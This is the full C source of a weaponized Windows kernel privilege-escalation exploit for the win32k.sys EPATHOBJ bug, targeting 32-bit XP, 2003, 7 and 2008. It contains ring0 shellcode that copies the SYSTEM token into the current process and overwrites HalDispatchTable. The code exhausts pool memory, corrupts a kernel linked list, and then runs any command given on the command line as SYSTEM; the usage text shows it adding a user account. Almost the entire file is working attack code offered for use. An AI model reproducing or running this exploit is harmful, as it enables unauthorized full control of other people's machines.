Windows内核EPATHOBJ 0day exploit

#include <stdio.h>
#include <STDARG.H>
#include <stddef.h>
#include <windows.h>
//#include <ntstatus.h>

#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")

#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000

#pragma comment(linker, "/SECTION:.text,ERW")

//
// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
//
// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
//

POINT       Points[MAX_POLYPOINTS];
BYTE        PointTypes[MAX_POLYPOINTS];
HRGN        Regions[MAX_REGIONS];
ULONG       NumRegion = 0;
HANDLE      Mutex;

// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

VOID LogInit();
VOID LogRelase();
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);

// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH   0x00000001
#define PD_ENDSUBPATH     0x00000002
#define PD_RESETSTYLE     0x00000004
#define PD_CLOSEFIGURE    0x00000008
#define PD_BEZIERS        0x00000010

#define ENABLE_SWITCH_DESKTOP 1

typedef struct  _POINTFIX
{
    ULONG x;
    ULONG y;
} POINTFIX, *PPOINTFIX;

// Approximated from reverse engineering.
typedef struct _PATHRECORD {
    struct _PATHRECORD *next;
    struct _PATHRECORD *prev;
    ULONG               flags;
    ULONG               count;
    POINTFIX            points[4];
} PATHRECORD, *PPATHRECORD;

PPATHRECORD PathRecord;
PATHRECORD  ExploitRecord = {0};
PPATHRECORD ExploitRecordExit;

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
    HANDLE Section;                 // Not filled in
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR  FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
    ULONG NumberOfModules;
    RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);

NtQueryIntervalProfile_  NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;
NtFreeVirtualMemory_ NtFreeVirtualMemory;
ULONG    PsInitialSystemProcess, PsReferencePrimaryToken,
   PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;

void _declspec(naked) ShellCode()
{
    __asm
    {
   pushad
   pushfd
   mov esi,PsReferencePrimaryToken
FindTokenOffset:
   lodsb
   cmp al, 8Dh;
   jnz FindTokenOffset
   mov edi,[esi+1]
   mov esi,PsInitialSystemProcess
   mov esi,[esi]
   push fs:[124h]
   mov eax,PsGetThreadProcess
   call eax
   add esi, edi
   push esi
   add edi, eax
   movsd
   
   ;add token ref count.
   pop esi
   mov esi, [esi]
   and esi, 0xFFFFFFF8
   lea eax, [esi-0x18]
   mov DWORD PTR [eax], 0x016B00B5
   ;fix the haltable
   mov eax, WriteToHalDispatchTable
   mov ecx, FixAddress
   mov [ecx], 0xC3
   mov DWORD PTR [eax], ecx

   popfd
   popad
   ;set ret code for NtQueryIntervalProfile
   mov eax, [esp+0xc]
   mov DWORD PTR [eax+4], 1
   mov DWORD PTR [eax+8], 0xC0000018
   xor eax, eax
   ret
    }
}

DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
 //
    // This routine waits for a mutex object to timeout, then patches the
    // compromised linked list to point to an exploit. We need to do this.
    //

 LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());
 
    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
  
  //
        // It looks like the main thread is stuck in a call to FlattenPath(),
        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
        // up, and then patch the list to trigger our exploit.
        //

  while (NumRegion--)
            DeleteObject(Regions[NumRegion]);
  
        LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);
  
        InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);
  
    } else {
        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
    }
 
    return 0;
}

void wellcome()
{
 printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");
 printf("*******************************************************************\n");
 printf("***\texploit by:<progmboy> <programmeboy@gmail.com>\t\t***\n");
 printf("***\t0day finder:<Tavis Ormandy> <taviso@cmpxchg8b.com>\t***\n");
 printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");
 printf("*******************************************************************\n");
}

void usage()
{
 printf("\nusage:\n<app> <cmd> <parameter>\n");
 printf("example:\napp.exe net \"user 111 111 /add\"");
}

BOOL
FindAFixAddress(
 ULONG NtoskrnlBase)
{
 FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);
 LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);
 return TRUE;

}

// 0x602464FF; /*jmp esp+0x60*/
// 0x51C3686A; /*push 0; ret*/
DWORD CheckMagicDword()
{
 OSVERSIONINFOEX OSVer;
 DWORD dwMagic = 0;

    OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
  switch(OSVer.dwMajorVersion){
  case 5:
   dwMagic = 0x602464FF;
   break;
  case 6:
   dwMagic = 0x642464FF;
   break;
  default:
   dwMagic = 0;
  }
 }
 return dwMagic;
}

int main(int argc, char **argv)
{
    HANDLE      Thread;
    HDC         Device;
    ULONG       Size;
    ULONG       PointNum;
 int nret = 0;
 
 DWORD MAGIC_DWORD = CheckMagicDword();
    ULONG AllocSize = 0x1000, status, NtoskrnlBase;
 RTL_PROCESS_MODULES  module;
 HMODULE ntoskrnl = NULL;
 DWORD dwFix;
 ULONG Address = MAGIC_DWORD & 0xFFFFF000;
 LONG ret;
 BOOL bRet = FALSE;
#ifdef ENABLE_SWITCH_DESKTOP
 HDESK hDesk;
#endif
    HMODULE  ntdll = GetModuleHandle( "ntdll.dll" );
 
 wellcome();

 if (argc < 2){
  usage();
  return -1;
 }

 if (!MAGIC_DWORD){
  LogMessage(L_ERROR, "unsupported system version\n");
  return -1;
 }

 LogInit();

 NtQueryIntervalProfile    =  (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
    NtAllocateVirtualMemory    =  (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
    NtQuerySystemInformation  =  (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );
 NtFreeVirtualMemory =  (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );
    if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory ||
   !NtQuerySystemInformation || !NtFreeVirtualMemory){
  LogMessage(L_ERROR, "get function address error\n");
  LogRelase();
  return -1;
 }
 
 //
 // try to allocate memory.
 //

 while (TRUE){
  ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  if(ret < 0){
   MEMORY_BASIC_INFORMATION meminfo;
   LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);
   LogMessage(L_INFO, "try to free memory");
   if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){
    LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);
   }
   ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);
   if (ret < 0){
    LogMessage(L_ERROR, "free memory error code 0x%08x", ret);
    LogRelase();
    return -1;
   }
  }else{
   break;
  }
 }
 
 //
 // get the kernel info
 //

    status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
    if ( status != 0xC0000004 ){
  LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);
        LogRelase();
  return -1;
 }
 
    NtoskrnlBase     =  (ULONG)module.Modules[0].ImageBase;
 
    //
    // 把ntoskrnl.exe加载进来
    //
 
    ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
    if (ntoskrnl == NULL){
  LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());
        LogRelase();
  return -1;
 }
 
    //
    // 计算实际地址
    //
 
    WriteToHalDispatchTable =  (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;
    PsInitialSystemProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
    PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
    PsGetThreadProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
 
 if(!FindAFixAddress(NtoskrnlBase)){
  LogMessage(L_ERROR, "Can not Find A Fix Address\n");
  nret = -1;
  goto __end;
 }

 //
    // Create our PATHRECORD in user space we will get added to the EPATHOBJ
    // pathrecord chain.
    //

 PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);
 
 //
    // Initialize with recognizable debugging values.
    //

 FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PPATHRECORD)(0x42424242);
 
 //
    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
    // loop in EPATHOBJ::bFlatten().
    //

 PathRecord->flags   = 0;

    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);
 
 ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
 ExploitRecordExit->next = NULL;
 ExploitRecordExit->next = NULL;
 ExploitRecordExit->flags = PD_BEGINSUBPATH;
 ExploitRecordExit->count = 0;
 

 ExploitRecord.next  = (PPATHRECORD)MAGIC_DWORD;
    ExploitRecord.prev  = (PPATHRECORD)WriteToHalDispatchTable;
    ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
 ExploitRecord.count = 4;
 
    LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
 
 //
    // Generate a large number of Belier Curves made up of pointers to our
    // PATHRECORD object.
    //

 for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

 //
    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    //
#ifdef ENABLE_SWITCH_DESKTOP
 hDesk = CreateDesktop( "DontPanic",
       NULL,
       NULL,
       0,
       GENERIC_ALL,
        NULL);
 if (hDesk){
  SetThreadDesktop(hDesk);
 }
#endif
 
 while (TRUE){

  BOOL bBreak = FALSE;

  Mutex = CreateMutex(NULL, TRUE, NULL);
  if (!Mutex){
   LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
   nret = -1;
   goto __end;
  }
  
  //
  // Get a handle to this Desktop.
  //

  Device = GetDC(NULL);
  
  //
  // Spawn a thread to cleanup
  //

  Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
  
  LogMessage(L_INFO, "start CreateRoundRectRgn");
  
  //
  // We need to cause a specific AllocObject() to fail to trigger the
  // exploitable condition. To do this, I create a large number of rounded
  // rectangular regions until they start failing. I don't think it matters
  // what you use to exhaust paged memory, there is probably a better way.
  //
  // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
  // failure. Seriously, do some damn QA Microsoft, wtf.
  //

  for (Size = 1 << 26; Size; Size >>= 1) {
   while (TRUE){
    HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
    if (!hm){
     break;
    }
    if (NumRegion < MAX_REGIONS){
     Regions[NumRegion] = hm;
     NumRegion++;
    }else{
     NumRegion = 0;
    }
   }
  }

  LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

  LogMessage(L_INFO, "Flattening curves...");
  
  //
  // Begin filling the free list with our points.
  //
  
  dwFix = *(PULONG)ShellCode;

  for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
   BeginPath(Device);
   PolyDraw(Device, Points, PointTypes, PointNum);
   EndPath(Device);
   FlattenPath(Device);
   FlattenPath(Device);
   
   //
   // call the function to exploit.
   //

   ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);
   
   //
   // we will set the status with 0xC0000018 in ring0 shellcode.
   //

   if (*(PULONG)ShellCode == 0xC0000018){
    bRet = TRUE;
    break;
   }
   
   //
   // fix
   //
   
   *(PULONG)ShellCode = dwFix;

   EndPath(Device);
  }
  
  if (bRet){
   LogMessage(L_INFO, "Exploit ok run command");
   ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW);
   bBreak = TRUE;
  }else{
   LogMessage(L_INFO, "No luck, cleaning up. and try again..");
  }
   
  //
  // If we reach here, we didn't trigger the condition. Let the other thread know.
  //

  ReleaseMutex(Mutex);
  
  ReleaseDC(NULL, Device);
  WaitForSingleObject(Thread, INFINITE);

  if (bBreak){
   break;
  }

 }
__end:
 LogRelase();
 if (ntoskrnl)
  FreeLibrary(ntoskrnl);
#ifdef ENABLE_SWITCH_DESKTOP
 if (hDesk){
  CloseHandle(hDesk);
 }
#endif
    return nret;
}

CRITICAL_SECTION gCSection;

VOID LogInit()
{
 InitializeCriticalSection(&gCSection);
}

VOID LogRelase()
{
 DeleteCriticalSection(&gCSection);
}

//
// A quick logging routine for debug messages.
//

BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
    CHAR Buffer[1024] = {0};
    va_list Args;
 
 EnterCriticalSection(&gCSection);

    va_start(Args, Format);
    _snprintf(Buffer, sizeof(Buffer), Format, Args);
    va_end(Args);

    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
    }
 
    fflush(stdout);
    fflush(stderr);
 
 LeaveCriticalSection(&gCSection);

    return TRUE;
}